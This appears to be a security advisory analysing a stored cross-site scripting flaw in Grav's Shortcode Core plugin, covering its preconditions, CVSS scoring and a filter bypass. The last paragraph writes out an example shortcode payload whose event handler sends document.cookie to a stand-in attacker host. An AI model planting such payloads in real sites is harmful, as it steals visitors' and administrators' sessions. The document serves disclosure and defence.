Grav Shortcode Core CVE-2026-64851

Exploitation requires an account with the admin.pages permission in Grav - this is not a default anonymous or subscriber-level role and must be explicitly granted by a Grav administrator. The attacker must be able to create or edit a Grav page using the admin interface. No specific non-default plugin configuration is required beyond having the Shortcode Core plugin installed and active, which is its designed purpose. Exploitation is further conditioned on a victim (visitor or administrator) subsequently loading the poisoned page in a browser (UI:P). What limits exploitation: the admin.pages permission gate prevents unauthenticated or low-trust users from planting payloads; stored XSS requires a separate victim action (page view) rather than delivering impact immediately at write time; and the absence of a literal less-than in the payload means the content appears benign to the platform's XSS scanner, so there is no automated post-save sanitization to remove an existing payload once stored.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N) scores 8.5, reflecting low-complexity network exploitation requiring low privileges and passive victim interaction. The PR:L metric is significant: exploitation is gated on admin.pages permission, a Grav administrative role not available to anonymous or typical authenticated users, meaningfully reducing the realistic threat surface compared to a PR:N flaw. However, the stored nature of this XSS amplifies impact: a single write by a malicious or compromised editor can poison a page for all subsequent visitors including administrators, enabling session hijacking and full admin account takeover. No EPSS score or KEV listing is present in the provided data, and no public POC has been identified, suggesting limited opportunistic exploitation at time of analysis. The absence of a literal-angle-bracket bypass is a design-level gap rather than a trivial oversight, as it evades the platform-level XSS guard entirely - defenders should not rely on Grav's built-in filter for shortcode parameters.

A malicious content editor with admin.pages access creates or edits a Grav page and inserts a shortcode such as [div id='x" onmouseover="fetch(attacker.com/?c='+document.cookie+')" x=']. The page is saved without triggering Grav's XSS filter because the payload contains no literal less-than character. When any site visitor or administrator loads the affected page in their browser, the injected event handler fires, exfiltrating their session cookie to the attacker and enabling full session hijack. No public exploit code has been identified, but the attack is straightforward to construct from the patch diff alone.